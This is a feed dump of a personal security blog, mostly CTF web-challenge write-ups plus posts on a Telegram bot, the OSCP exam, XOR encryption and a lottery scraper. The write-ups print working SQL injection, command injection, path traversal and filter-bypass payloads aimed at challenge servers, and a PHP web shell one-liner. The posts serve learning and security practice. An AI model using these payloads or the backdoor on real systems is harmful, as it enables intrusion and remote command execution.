<pre><code>Misha recently got placed at Google.So she started refering her friends for incoming job posts in the company.She hid a secret in this website for those who got the job after her referal.The secret contains the place where she and her friends will be having party for their new jobs.

Minan is Misha's boyfriend.Minan wants to reach Misha asap.Since Minan didnt get a job at google and is a noob,Can you help him figure out the location?

http://104.248.49.223:8081/
</code></pre>
<p>This challenge requires us to craft a HTTP header with referer = <a href="https://www.google.com">https://www.google.com</a> in it. Simply do a CURL request with <code>--referer https://www.google.com</code> in the curl request to the site and the flag will be given. <code>GLUG{Refendrum_@_007}</code></p>
<h2 id="mi7">MI7</h2>
<pre><code>Olny Agents are allowed.

MI7 Members Secret Vault

https://mi7secret-glugctf.netlify.com/

MI7 was a department in the British Directorate of Military Intelligence in both the First and Second World War. The group, which was part of British Military Intelligence, was established to control propaganda and censorship. It was part of the War Office.



Even Google is allowed to see our secrets. You are not an agent! How dare you, to be here !!
</code></pre>
<p>So at first, this challenge looked like a user-agent challenge. But reading the last line, tells us otherwise. Google bots are used to crawl the internet for site indexing, and <code>robots.txt</code> might be the place we should be looking at.</p>
<p>Visiting <code>https://mi7secret-glugctf.netlify.com/robots.txt</code> will show us a list of URLs.</p>
<pre><code>User-agent: *
Disallow: /cyberworld/map/
Disallow: /tmp/
Disallow: /fsck.bf
Disallow: /a7_vault.html
Disallow: /exploits/fuzzbunch/Eternal_pink
Disallow: /exploits/network/QuantumInjection.pdf
</code></pre>
<p>Following the URL <code>https://mi7secret-glugctf.netlify.com/a7_vault.html</code> will give us a BASE64 encoded string: <code>R0xVR3tiMDc1X2M0bl8xNm4wcjNfN2gzX3J1bDM1fQ==</code>, subsequently, decoding it will give us a flag. <code>GLUG{b075_c4n_16n0r3_7h3_rul35}</code></p>
<h2 id="musically">Musically</h2>
<pre><code>We can have a list of songs.And a search input where a user can search for a song along with details.
Link to the Challenge
http://142.93.207.206:7004/

Link to the source code
&lt;!doctype html&gt;
&lt;html lang=&quot;en&quot;&gt;
  &lt;head&gt;
    &lt;!-- Required meta tags --&gt;
    &lt;meta charset=&quot;utf-8&quot;&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1, shrink-to-fit=no&quot;&gt;
    &lt;link rel=&quot;stylesheet&quot; href=&quot;https://maxcdn.bootstrapcdn.com/font-awesome/4.4.0/css/font-awesome.min.css&quot;&gt;
    &lt;link rel=&quot;stylesheet&quot; href=&quot;master.css&quot;&gt;
    &lt;title&gt;ctf&lt;/title&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;div class=&quot;wrap&quot;&gt;
      &lt;form method=&quot;post&quot; class=&quot;search&quot;&gt;
        &lt;input type=&quot;text&quot; class=&quot;searchTerm&quot; placeholder=&quot;Enter a filter..&quot; name=needle&gt;
              &lt;button type=&quot;submit&quot; class=&quot;searchButton&quot; name=submi&gt;
                &lt;i class=&quot;fa fa-search&quot;&gt;&lt;/i&gt;
             &lt;/button&gt;
           &lt;/form&gt;

      &lt;div class=&quot;output&quot;&gt;
        &lt;h6&gt;Here are top reccommendations:&lt;/h6&gt;
        &lt;pre&gt;&lt;?php
        $key = &quot;.&quot;;

        if(array_key_exists(&quot;needle&quot;, $_REQUEST)) {
            $key = $_REQUEST[&quot;needle&quot;];
        }

        if($key != &quot;&quot;) {
        passthru(&quot;grep -i $key songs.txt&quot;);
        }
        ?&gt;
        &lt;/pre&gt;
      &lt;/div&gt;
&lt;/div&gt;
  &lt;/body&gt;
&lt;/html&gt;
</code></pre>
<p>This is a typical command injection challenge. There are no filters, and therefore command injection can be done directly. Supplying <code>;ls;</code> will allow us to list files. Since <code>flag.txt</code> is in the same directory, doing a <code>;cat flag.txt;</code> will allow us to read the flag. Therefore, the flag is: <code>GLUG{you_never_gonna_find_song}</code></p>
<h2 id="newblogger">New Blogger</h2>
<pre><code>Misha is a travel blogger.She made a website for her blog.Minan was very impressed with it but on detailed inspection found that there existed a vulnerability.
Can you find the flag exploiting the same?

Hint: Flag is in /etc/flag

Link
http://104.248.49.223:7074/
</code></pre>
<p>This challenge is a Local File Inclusion (LFI) challenge. The LFI was identified when playing around with the links in the site. Clicking on <code>About Us</code> will load <code>About Us</code> page. But looking at the URL, <code>http://104.248.49.223:7074/?page=about-us.php</code> was seen, and changing it to <code>http://104.248.49.223:7074/?page=../../../../../../../../etc/flag</code> gives us the flag. <code>GLUG{7h3_54m3_0ld_f1l3_1nclu510n}</code></p>
<h2 id="ninjagirl">NinjaGirl</h2>
<pre><code>NInJa_gIrl thinks MD5 is amazing.She uses one salt to hash all her data. All you need to do is enter two different names and prove her that she’s wrong?
Link to the Challenge
http://104.248.49.223:7075/

Here is the source code: link
https://ghostbin.com/paste/seah6
Flag is in format: Glug{}

&lt;?php
  include 'secret.php';
  if($_GET[&quot;str1&quot;] and $_GET[&quot;str2&quot;]) {
    if ($_GET[&quot;str1&quot;] !== $_GET[&quot;str2&quot;] and
        hash(&quot;md5&quot;, $salt . $_GET[&quot;str1&quot;]) === hash(&quot;md5&quot;, $salt . $_GET[&quot;str2&quot;])) {
      echo $flag;
    } else {
      echo &quot;Sorry, you're wrong.&quot;;
    }
    exit();
  }
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;
  &lt;head&gt;
    &lt;meta charset=&quot;utf-8&quot;&gt;
		&lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
    &lt;title&gt;CTF&lt;/title&gt;
    &lt;link href=&quot;https://fonts.googleapis.com/css?family=Audiowide&quot; rel=&quot;stylesheet&quot;&gt;
    &lt;style media=&quot;screen&quot;&gt;
      body{
        font-family: 'Audiowide', cursive;
        background-color: #ff4;
        padding: auto;
        text-align: center;
      }
      input{
        margin:1rem;
      }
    &lt;/style&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;h1&gt;
      Ninja Girl welcomes you.&lt;br&gt;
    &lt;/h1&gt;
    &lt;h3&gt;Please enter your and your opponent's name.&lt;/h3&gt;
    &lt;form method=&quot;GET&quot;&gt;
      Fighter 1: &lt;input type=&quot;text&quot; name=&quot;str1&quot;&gt;
      &lt;br&gt;
      Fighter 2: &lt;input type=&quot;text&quot; name=&quot;str2&quot;&gt;
      &lt;br&gt;
      &lt;input type=&quot;submit&quot; value=&quot;submit&quot;&gt;
    &lt;/form&gt;
    &lt;img src=&quot;ninja.png&quot; alt=&quot;&quot; height=&quot;300px&quot; width=&quot;300px&quot;&gt;
  &lt;/body&gt;
&lt;/html&gt;
</code></pre>
<p>This is basically a challenge where you are required to overcome the PHP code logic. To match the logics, we would need to supply the GET parameters with arrays. Because when PHP converts an array into string, it would be a string value called <code>Array</code> instead of the values in it. Therefore, a literal conversion with the salt would still give the same hashes. The following code snippet can be tested and you would see <code>testArray</code> as the eventual text, even though both arrays have different values.</p>
<pre><code>&lt;?php
/* Write your PHP code here */
$A = [1];
$B = [2];
echo &quot;test&quot; . $A;
# PHP Notice: Array to string conversion in index.php 5
# testArray &lt;-- from $A
echo &quot;test&quot; . $B;
# PHP Notice: Array to string conversion in index.php 7
# testArray &lt;-- from $B

?&gt;
</code></pre>
<p>Therefore, the solve for this would be <code>?str1[]=1&amp;str2[]=2</code>, giving us the flag <code>Glug{7i5e_1s_####123_7577}</code>.</p>
<h2 id="theinfinitywar">The Infinity War</h2>
<pre><code>Thanos has acquired half of the gems and soon coming on the earth for the Time stone.All the marvel heroes have therfore united to fight with him.
But as they needed one person to lead them,they organised an election to choose one leader.
But since Loki received least number of votes. He got jealous and mixed up the votes,and hid the result.
Can you find it?
This link will lead you to the vote counts.
http://167.99.149.173/
Flag is in the format Glug{}
</code></pre>
<p>This is a typical SQL injection question. Requiring the user to do a UNION SELECT injection. After enumerating columns and table names using <code>' UNION SELECT table_name,column_name,2,3 FROM information_schema.columns;##</code>, the payload required is <code>' UNION SELECT IhidItHere,2,3,4 FROM Leaders;##</code>, giving us the flag <code>Glug{3@st_!r0nm@n_1s_3est}</code></p>
<h2 id="pingmaster">Pingmaster</h2>
<pre><code>Phonix made a new tool called “Pingmaster”. He hosted it in his server, as he is a poor person and couldn’t afford multiple servers he also kept his secret in it. But he thinks it really secure.
Prove him wrong.
Link to the challenge
http://104.248.49.223:7090/
Tip: Flag is in /etc/flag
</code></pre>
<p>This is yet another command injection challenge, but there are filters. Giving symbols like <code>&amp;</code>,<code>SPACE</code>, or <code>|</code> would trigger the filter. However, since the commands are executed and the standard output is then printed, we can try the <code>%0A</code> escape method. <code>%0A</code> would add a new line, like a press of the ENTER key. Since <code>SPACE</code> is not allowed, we will have to use <code>$IFS$9</code> to insert spaces. But for this to work, instead of sending it through the form, we will have to send the GET request directly to prevent our symbols from being URL encoded. Therefore, the payload for the command would be <code>http://104.248.49.223:7090/?host=%0Acat$IFS$9/etc/flag</code>, and the flag is <code>GLUG{c40mm4nd_1nj3c710n_w17h0u7_5c4p35_15_l337}</code>.</p>
<p>THATS ALL FOLKS! I LOVE WEB!</p>
</div>]]></content:encoded></item><item><title><![CDATA[noxCTF 2018 - MyFileUploader write up]]></title><description><![CDATA[<div class="kg-card-markdown"><h1 id="afileuploadwebchallengeduringtherecentnoxctf2018">A file upload web challenge during the recent noxCTF 2018.</h1>
<p><img src="https://www.nullsession.pw/content/images/2018/09/Title_MyFileUploader.JPG" alt="Title_MyFileUploader"></p>
<h2 id="thefollowingwaspresented">The following was presented:</h2>
<p><img src="https://www.nullsession.pw/content/images/2018/09/MyFileUploader.JPG" alt="MyFileUploader"></p>
<h1 id="uploadingafilewithoutextensionswouldgiveusthis">Uploading a file without extensions would give us this:</h1>
<p><img src="https://www.nullsession.pw/content/images/2018/09/MyFileUploader1.JPG" alt="MyFileUploader1"></p>
<h2 id="itappearsthatthecodechecksforextensionspngjpggifuploadingavalidextensionwouldgiveusalinktotheimage">It appears that the code checks for extensions <code>.png .jpg .gif</code>. Uploading a valid extension would give us a link to the image.</h2>
<p><img src="https://www.nullsession.pw/content/images/2018/09/MyFileUploader2.JPG" alt="MyFileUploader2"></p>
<h2 id="followingthelinkwillgiveusthefullpathofuploadlocation">Following the link will</h2></div>]]></description><link>https://www.nullsession.pw/noxctf/</link><guid isPermaLink="false">5b92a614b8cedc3861471288</guid><category><![CDATA[Blog]]></category><category><![CDATA[CTF]]></category><dc:creator><![CDATA[Anonymous]]></dc:creator><pubDate>Sat, 08 Sep 2018 17:00:48 GMT</pubDate><content:encoded><![CDATA[<div class="kg-card-markdown"><h1 id="afileuploadwebchallengeduringtherecentnoxctf2018">A file upload web challenge during the recent noxCTF 2018.</h1>
<p><img src="https://www.nullsession.pw/content/images/2018/09/Title_MyFileUploader.JPG" alt="Title_MyFileUploader"></p>
<h2 id="thefollowingwaspresented">The following was presented:</h2>
<p><img src="https://www.nullsession.pw/content/images/2018/09/MyFileUploader.JPG" alt="MyFileUploader"></p>
<h1 id="uploadingafilewithoutextensionswouldgiveusthis">Uploading a file without extensions would give us this:</h1>
<p><img src="https://www.nullsession.pw/content/images/2018/09/MyFileUploader1.JPG" alt="MyFileUploader1"></p>
<h2 id="itappearsthatthecodechecksforextensionspngjpggifuploadingavalidextensionwouldgiveusalinktotheimage">It appears that the code checks for extensions <code>.png .jpg .gif</code>. Uploading a valid extension would give us a link to the image.</h2>
<p><img src="https://www.nullsession.pw/content/images/2018/09/MyFileUploader2.JPG" alt="MyFileUploader2"></p>
<h2 id="followingthelinkwillgiveusthefullpathofuploadlocation">Following the link will give us the full path of upload location:</h2>
<p><code>http://[url]/uploads/[file_name.png]</code></p>
<h2 id="navigatingoneleveluptotheuploadsdirectorylistingwasenabledandaninterestingdirectorywasdiscovered">Navigating one level up to the <code>/uploads</code> directory, listing was enabled and an interesting directory was discovered.</h2>
<p><img src="https://www.nullsession.pw/content/images/2018/09/MyFileUploader3.JPG" alt="MyFileUploader3"><br>
<em>Existing file name redacted to prevent spoiler (they are PHP web shells. LOL)</em></p>
<p>Of course <code>/Don't open/</code> directory is kinda suspicious, and inside is a <code>htaccess</code> file which provides a juicy info on how the server reads certain extensions.</p>
<pre><code>Options +Indexes
AddType application/x-httpd-php .cyb3r
</code></pre>
<p>This meant that, any files with a <code>.cyb3r</code> extension would be treated as a <code>PHP</code> file!.</p>
<p>Lets try to upload our own <code>PHP Code execution backdoor</code>.</p>
<p>This is a simple one liner:<br>
<code>&lt;?php if(isset($_REQUEST['cmd'])){ echo &quot;&lt;pre&gt;&quot;; $cmd = ($_REQUEST['cmd']); system($cmd); echo &quot;&lt;/pre&gt;&quot;; die; }?&gt;</code></p>
<p>Saved this PHP file as <code>fux.png.cyb3r</code>.<br>
<img src="https://www.nullsession.pw/content/images/2018/09/MyFileUploader4.JPG" alt="MyFileUploader4"><br>
<em>It accepted my <code>PHP backdoor</code>!</em></p>
<p>Now following the given link, I should be able to load the page as a PHP page, and giving it a <code>cmd</code> get parameter should run system commands.</p>
<p><code>http://[url]/uploads/fux.png.cyb3r?cmd=id;pwd</code><br>
<img src="https://www.nullsession.pw/content/images/2018/09/MyFileUploader5.JPG" alt="MyFileUploader5"><br>
<em>Time to get flag</em></p>
<p>A little digging shows that two directories are owned by root, and both directory can be read globally. Since the directories are the only two directories which are created at the time of attempting this question, using wildcard in my <code>ls</code> command would list all directories which match the wildcard requirement.<br>
<code>http://[url]/uploads/fux.png.cyb3r?cmd=ls%20-la%20./*</code></p>
<p>The flag is the in the <code>7H3-FL4G-1S-H3r3</code> directory, and listing it shows the flag <code>noxCTF{N3V3R_7RU57_07H3R5}</code><br>
<img src="https://www.nullsession.pw/content/images/2018/09/MyFileUploader6.JPG" alt="MyFileUploader6"></p>
</div>]]></content:encoded></item><item><title><![CDATA[A Telegram love story (Chat Bot)]]></title><description><![CDATA[<div class="kg-card-markdown"><p>I have always been fascinated by how chat bots work!</p>
<p>With the trend of the telegram phone app being popular among students, Chat Bots have become a new medium for application interaction.</p>
<p>From digitizing social games like &quot;werewolf&quot; to informational services like getting the latest news update, chat</p></div>]]></description><link>https://www.nullsession.pw/a-telegram-love-story/</link><guid isPermaLink="false">5b813bb9b8cedc386147127f</guid><category><![CDATA[Blog]]></category><category><![CDATA[Dev]]></category><dc:creator><![CDATA[Anonymous]]></dc:creator><pubDate>Mon, 27 Aug 2018 10:12:53 GMT</pubDate><content:encoded><![CDATA[<div class="kg-card-markdown"><p>I have always been fascinated by how chat bots work!</p>
<p>With the trend of the telegram phone app being popular among students, Chat Bots have become a new medium for application interaction.</p>
<p>From digitizing social games like &quot;werewolf&quot; to informational services like getting the latest news update, chat bots have made its way to take those roles, and it has become a source of leisure and information for frequent telegram users.</p>
<p>So here I am, sharing that learning journey on creating my very first Telegram Bot.</p>
<p>Requirements on creating a telegram chat bot:<br>
Python knowledge<br>
Django knowledge<br>
Simple NGINX service knowledge</p>
<p>Required resources:<br>
Django framework<br>
A VPS cloud<br>
Telegram API Key<br>
Python<br>
Python telepot library</p>
<p>I have used the following git project by <code>Adil Khashtamov</code> to setup the telegram bot. The codes are available at <a href="https://github.com/adilkhash/planetpython_telegrambot">https://github.com/adilkhash/planetpython_telegrambot</a></p>
<h2 id="step1obtaintelegrambotsecretkey">Step 1 (obtain telegram bot secret key)</h2>
<p>To obtain the bot secret key, you will have to use your existing telegram account to start a conversation with <code>@BotFather</code>. This bot will walk you through on creating a new bot. Start by typing <code>/start</code> followed by <code>/newbot</code>. BotFather will ask for a name for your bot and a username for your bot. For example, you can name your bot as <code>MyFirstApp</code>, and you can set the username as <code>MyFirstAppBot</code>. Note down the username of your bot, as you will only be able to search your bot in telegram with the username, in which with reference to the example <code>@MyFirstAppBot</code>.</p>
<h2 id="step2understandingtelepotandyourfirstinteraction">Step 2 (Understanding telepot, and your first interaction)</h2>
<p>First, install telepot.<br>
<code>pip install telepot</code><br>
Or simply google the correct method for the version of python in which you are using. Once telepot is installed, ensure that your teelgram bot secret key from Step 1 is working. You can do this doing a basic information grabbing method.</p>
<pre><code>import telepot
token = 'your telegram secret key'
TelegramBot = telepot.Bot(token)
print TelegramBot.getMe()
</code></pre>
<p>Once done you should get a response with your Bot name and bot username with an ID.</p>
<p>Next, open up your telegram app and start interacting with your Bot. Search your bot by adding a <code>@</code> followed by the bot username. Once you have a dialog, send a string the the bot. Let's use <code>/start</code> as an example.</p>
<p>Once you have sent a message, alter your python script by adding the following line <code>TelegramBot.getUpdates()</code>.</p>
<p>You should get an update on what messages are being sent out with various ID information such as update ID and chat ID. This ID uniquely identifies the chat. Thus, it is important to know how chats are being identified for future debugging purpose</p>
<p>Time to ignore the codes above, and code some real bot features.</p>
<h2 id="step3nginxdjangoandalltheenvironmentvariables">Step 3 (NGINX, Django, and all the Environment Variables)</h2>
<p>According to google, &quot;NGINX is a web server which can also be used as a reverse proxy, load balancer, mail proxy and HTTP cache.&quot; In Short, NGINX is a web server SERVICE which allows application to be hosted. Our telegram bot functions will be hosted on a server running NGINX. You may use your own VPS Cloud server to run this, or spin up a local VM on your machine bridged to the local network which you are in, along with Network Address Translation rules to ensure traffic from the internet going to your public IP will reach your VM. For simplicity, I have used a server from Digital Ocean, a paid VPS which allows me to host my telegram bot functions.</p>
<p>Refer to <code>Adil Khashtamov</code> site on configuring and setting the server up: <a href="https://khashtamov.com/en/how-to-deploy-telegram-bot-django/">https://khashtamov.com/en/how-to-deploy-telegram-bot-django/</a></p>
<h2 id="step4gettingitrunninginsertingyourcode">Step 4 (Getting it running, inserting your code)</h2>
<p>If you can get Step 3 running (using Adil's codes), you are one step closer on creating your own bot! (Successfully implementing step 3 means you are able to run this telegram bot functions from your bot. If you are able to achieve this, you are almost there. All that is left right now is replacing his logics with yours and call them!)</p>
<p>Assuming your codes are running right in Step 3, all you need to do is change the codes at <code>view.py</code>. This is the file in which functions will be inserted.</p>
<p>To understand how the code works, the important information required for the 'reply' function for the bot to reply the use is this following piece of code in <code>view.py</code>:</p>
<pre><code>..
..
chat_id = payload['message']['chat']['id']
cmd = payload['message'].get('text')
..
..
</code></pre>
<p>Therefore, to visualize the underlying mechanism of how the bot replies, it is something like this:</p>
<pre><code>1. User starts conversation
2. Bot recieves various information including chat_id and message 
3. Bot uses the chat_id to identify which 'chat' to reply to
4. Bot sends whatever that is required.
</code></pre>
<p>So assuming you just want your bot to reply &quot;Hello World&quot;, all you had to add was <code>TelegramBot.sendMessage(chat_id, 'Hello World')</code> right after the bot receives the chat_id and sent message.</p>
<p>To summarize the &quot;reply&quot; portion, it is important to place the <code>TelegramBot.sendMessage(chat_id, 'Reply message here')</code> code right after your functions. For instance, you want to pull data off certain API. You will first need to pull the data before placing the code. Take that piece of code as a 'return' function for a telegram bot.</p>
<p>Lastly, once your code is ready, configure <code>gunicorn</code> and <code>supervisord</code>, according to the link in: <a href="https://khashtamov.com/en/how-to-deploy-telegram-bot-django/">https://khashtamov.com/en/how-to-deploy-telegram-bot-django/</a></p>
<p>Once your services are up, test your bot!<br>
*NOTE: if any changes were made to the codes, you are required to restart the service by using <code>supervisord</code>.</p>
</div>]]></content:encoded></item><item><title><![CDATA[OSCP Journey]]></title><description><![CDATA[<div class="kg-card-markdown"><p>It starts with a &quot;what if? What if I could achieve it?&quot;.</p>
<p>According to many, OSCP is one of the hardest out there.</p>
<p>No Metasploit, No automatic tools. Just plain old manual enumeration and exploitation.</p>
<p>I think this OSCP journey has been a really great. I have have</p></div>]]></description><link>https://www.nullsession.pw/oscp-journey/</link><guid isPermaLink="false">5b74a0b1b8cedc3861471274</guid><category><![CDATA[Blog]]></category><dc:creator><![CDATA[Anonymous]]></dc:creator><pubDate>Wed, 15 Aug 2018 22:23:06 GMT</pubDate><content:encoded><![CDATA[<div class="kg-card-markdown"><p>It starts with a &quot;what if? What if I could achieve it?&quot;.</p>
<p>According to many, OSCP is one of the hardest out there.</p>
<p>No Metasploit, No automatic tools. Just plain old manual enumeration and exploitation.</p>
<p>I think this OSCP journey has been a really great. I have have learnt so much from my failures, as I have re-took the exam multiple times.</p>
<p>Looking back almost a year ago where I passed the CEHv9 exam, I have gained so much knowledge and hands on experience in what we call the &quot;Cybersecurity Industry&quot;.</p>
<p>CTFs are like playgrounds right now, especially CTFTime, VulnHub and HTB.</p>
<p>It took me all the way to the 4th try to get that email which contains &quot;congratulations..&quot;.</p>
<h3 id="quicksummaryofthe5machines">Quick summary of the 5 machines:</h3>
<p>Rooted:<br>
25 points - Buffer overflow (standard procedure)<br>
10 points - PHP Code Execution<br>
20 points - Vulnerable web application leading to RCE into a low privilege shell, priviledge escalation achieved through outdated vulnerable Linux kernel.<br>
25 points - Vulnerable implementation of a python web application leading to RCE into a low privilege shell, privilege escalation achieved through vulnerable sudo.</p>
<p>Got a local low privilege account on the final machine through multiple vulnerabilities. SQLi, leading to authentication to a misconfigured FTP, subsequently gaining remote access to accounts through password attack from the misconfigured FTP service.</p>
<h1 id="tldr">TL;DR</h1>
<h2 id="illsharethe5musthavebeforetakinganoscp">I'll share the 5 must have before taking an OSCP.</h2>
<ol>
<li>Windows, Linux and Network infrastructure knowledge</li>
<li>How web application works, the components, and the types of attacks</li>
<li>Enumeration techniques</li>
<li>Occasional password attack (knowing your systems well, at point number 1)</li>
<li>Patience, and lots of coffee.</li>
</ol>
<h2 id="1windowslinuxandnetworkinfrastructureknowledge">1) Windows, Linux and Network infrastructure knowledge</h2>
<p>I started off as an infrastructure student back at polytechnic, where I gained built my foundation on using the linux terminal and windows active directory environment. It was second nature to me, to use the terminal to interact with a UNIX base system. But after taking the OSCP exam, I realize how little I know about the internals of Windows. So to be prepared for OSCP, is to also the fundalmentals of Windows, Linux and Networking infrastructure knowledge at your fingertips</p>
<h2 id="2howwebapplicationworksthecomponentsandthetypesofattacks">2) How web application works, the components, and the types of attacks</h2>
<p>SPOILER ALERT. Since most of the attack vectors in OSCP/PWK were web vectors, it is important to understand how web applications communicate and process information. From using Burp to intercept a message and modify it, to manual SQL injection or command injection attacks, these are some of the vulnerabilities that OSCP/PWK tend to have on their machines. (You know some attack vectors right?) So know the difference between a GET or POST parameter would also be useful, as you would have a better gauge on how the web application communicates. This habit is also being brought forward to the REAL WORLD. Certain contracted work which I have done as a freelance inherited certain skills or lessons which I have picked up during the PWK/OSCP sessions. Or, just play more CTFs!</p>
<h2 id="3enumerationtechniques">3) Enumeration techniques</h2>
<p>Probably the MOST important skill needed in the OSCP exam. If you can't see it, you won't see it! Nmap, Unicornscan, Dirb, Gobuster, Nikto, and any other scanning tools will not be sufficient. It also requires one important factor, &quot;Curiousity&quot;. Enuemration can't be taught, but self taught. Think about the day which you have to learn something new, and only you can teach yourself. That is the feeling which I had. No matter how many articles I read or reviews, it all boils down to this: &quot;Which way of enumeration are you most comfortable with?&quot;. Well, to sum it up, enumeration is matter of getting as much information as possible for your next phase which is either gaining a shell, or popping a root/administrator shell. :)</p>
<h2 id="4occasionalpasswordattackknowingyoursystemswellatpointnumber1">4) Occasional password attack (knowing your systems well, at point number 1)</h2>
<p>Yes, occasional password attack. Seems like an outdated thing? PWK/OSCP has it! In fact, if a developer does not have good practices, you might land yourself on a password cracking scenario! Well, in PWK/OSCP, you will learn how to crack passwords such as Linux passwords, or Windows passwords. Of course, you will learn the mitigations as well! But I personally think that this is an important factor because, it could make your life WAY easier, if you could just &quot;remote in&quot; the machine right? Why bother kicking the front door when you have the key?</p>
<h2 id="5patienceandlotsofcoffee">5) Patience, and lots of coffee.</h2>
<p>Lastly, patience. TONS. OF. IT. I must say, the countless times which I have been restless in the first two attempts when I am not getting anything. Being composed and having the patience to look for &quot;something new&quot; in the systems is VERY important. In fact, it is like trying to guess 'what could have the user had done, which I might be able to exploit?'. This is significant, as it makes or break your exam!</p>
<p>Probably CPSA to get my CRT next? Or hop into EC-Council's LPT? I'll ask myself that 'What if?' question again soon.</p>
<p>Thats all!</p>
<p>Here are my favourite resources for sharing!!</p>
<p>Priv-Escalation readings:<br>
<a href="https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/">https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/</a><br>
<a href="http://www.fuzzysecurity.com/tutorials/16.html">http://www.fuzzysecurity.com/tutorials/16.html</a><br>
<a href="https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/">https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/</a></p>
<p>Cheatsheets:<br>
<a href="https://www.stationx.net/nmap-cheat-sheet/">https://www.stationx.net/nmap-cheat-sheet/</a><br>
<a href="https://hackercool.com/2016/07/smb-enumeration-with-kali-linux-enum4linuxacccheck-smbmap/">https://hackercool.com/2016/07/smb-enumeration-with-kali-linux-enum4linuxacccheck-smbmap/</a><br>
<a href="https://blog.cloudflare.com/inside-shellshock/">https://blog.cloudflare.com/inside-shellshock/</a><br>
<a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet</a><br>
<a href="https://github.com/fuzzdb-project/fuzzdb/tree/master/attack/os-cmd-execution">https://github.com/fuzzdb-project/fuzzdb/tree/master/attack/os-cmd-execution</a></p>
</div>]]></content:encoded></item><item><title><![CDATA[XOR? XOR!!!! Beginner (Python)]]></title><description><![CDATA[<div class="kg-card-markdown"><p>I finally have the luxury of time to learn new things, in which I decided to beef up some of my cryptography knowledge. A basic cryptography category in which certain CTFs present is a classic XOR challenge.</p>
<p>Being a person with ZERO knowledge in cryptography, some research were needed. So</p></div>]]></description><link>https://www.nullsession.pw/xor-xor/</link><guid isPermaLink="false">5b487527b8cedc3861471266</guid><category><![CDATA[Blog]]></category><category><![CDATA[Dev]]></category><dc:creator><![CDATA[Anonymous]]></dc:creator><pubDate>Fri, 13 Jul 2018 09:58:07 GMT</pubDate><content:encoded><![CDATA[<div class="kg-card-markdown"><p>I finally have the luxury of time to learn new things, in which I decided to beef up some of my cryptography knowledge. A basic cryptography category in which certain CTFs present is a classic XOR challenge.</p>
<p>Being a person with ZERO knowledge in cryptography, some research were needed. So in a nutshell, XOR is the operation of taking 2 bits, putting in through the XOR operation or also known as <code>^</code>.</p>
<p>Some XOR rules:<br>
<code>1 ^ 1</code> = 0<br>
<code>1 ^ 0</code> = 1<br>
<code>0 ^ 1</code> = 1<br>
<code>0 ^ 0</code> = 0</p>
<p>Since XOR works at the bit level, in order to encryt a message like <code>ATTACK AT DAWN</code>, the message needs to be in bit representation before taking each for a spin in the XOR operator.</p>
<p>As this was just a simple practice, I decided to expeirment using a single key. Take the example of the following.</p>
<p>Message is <code>ATTACK AT DAWN</code><br>
Key chosen is <code>H</code></p>
<p>So to encrypt that message using XOR, which individual character have to be XOR-ed by the key, therefore a conersion was needed. Thankfully, converting from string to bits was easy, by using the following <code>bin(ord('a'))</code>, then putting it into a list (Using python over here).</p>
<p>Since some of the XOR cipher text is not readable as text, I encoded the cipher text in base64 to make it &quot;transportable&quot;. In which, a decode is needed before passing the message through the decryption process.</p>
<p>Here is the code sample code for encryption and decryption:</p>
<pre><code>import base64
#Encryption

cipher_bits = []

input_string = 'ATTACK AT DAWN'
key = 'H'
print &quot;XOR Key: &quot; + key
key_bin = (bin(ord(key)))[2:]
key_left_zeros = '0' * (8-len(key_bin))
new_key_bin = key_left_zeros + key_bin
# print new_key_bin

str_bits = []
for ch in input_string:
	tmp_bit = (bin(ord(ch)))[2:]
	bit_left_zeros = '0' * (8 - len(tmp_bit))
	new_bit = bit_left_zeros + tmp_bit
	str_bits.append(list(new_bit))


# print str_bits

temp_bits = ''
for i in range(len(str_bits)):
	for j in range(len(str_bits[i])):
		temp_bits += str(int(str_bits[i][j]) ^ int(new_key_bin[j]))
	cipher_bits.append(list(temp_bits))
	temp_bits = ''

# print cipher_bits

tmp_bits_holder = []
for i in range(len(cipher_bits)):
	tmp_bits_holder.append(''.join(cipher_bits[i]))

# print tmp_bits_holder

tmp_cipher_text = ''
tmp_ch_holder = ''
for i in range(len(tmp_bits_holder)):
	tmp_ch_holder = chr(int(tmp_bits_holder[i],2))
	tmp_cipher_text += tmp_ch_holder
	tmp_ch_holder = ''
new_cipher_text = base64.b64encode(tmp_cipher_text)
print &quot;XOR RAW Encrypted&quot; + tmp_cipher_text
print &quot;XOR RAW Encrypted Encoded: &quot; + new_cipher_text




#Decryption
cipher_text = base64.b64decode(new_cipher_text)
cipher_str_bits = []
for ch in cipher_text:
	c_tmp_bit = (bin(ord(ch)))[2:]
	c_bit_left_zeros = '0' * (8 - len(c_tmp_bit))
	c_new_bit = c_bit_left_zeros + c_tmp_bit
	cipher_str_bits.append(list(c_new_bit))

# print cipher_str_bits

c_temp_bits = ''
message_bits = []
for i in range(len(cipher_str_bits)):
	for j in range(len(cipher_str_bits[i])):
		c_temp_bits += str(int(cipher_str_bits[i][j]) ^ int(new_key_bin[j]))
	message_bits.append(list(c_temp_bits))
	c_temp_bits = ''
# print message_bits
tmp_message_bolder = []
for bits in message_bits:
	tmp_message_bolder.append(''.join(bits))

decrypted_message = ''
for i in tmp_message_bolder:
	decrypted_message += chr(int(i,2))

print &quot;XOR Decrypted: &quot; + decrypted_message


</code></pre>
</div>]]></content:encoded></item><item><title><![CDATA[4D Lottery Data Collecter]]></title><description><![CDATA[<div class="kg-card-markdown"><h3 id="disclaimernooffensiveactionsweredonecodesarepurelyforeducationpurposeofwhatpythoncando">DISCLAIMER: NO OFFENSIVE ACTIONS WERE DONE, CODES ARE PURELY FOR EDUCATION PURPOSE OF WHAT PYTHON CAN DO.</h3>
<hr>
<h2 id="background">Background</h2>
<p>Inspired by a friend who asked if it was possible to get historical data of 4D lottery numbers from the official website using a python script.</p>
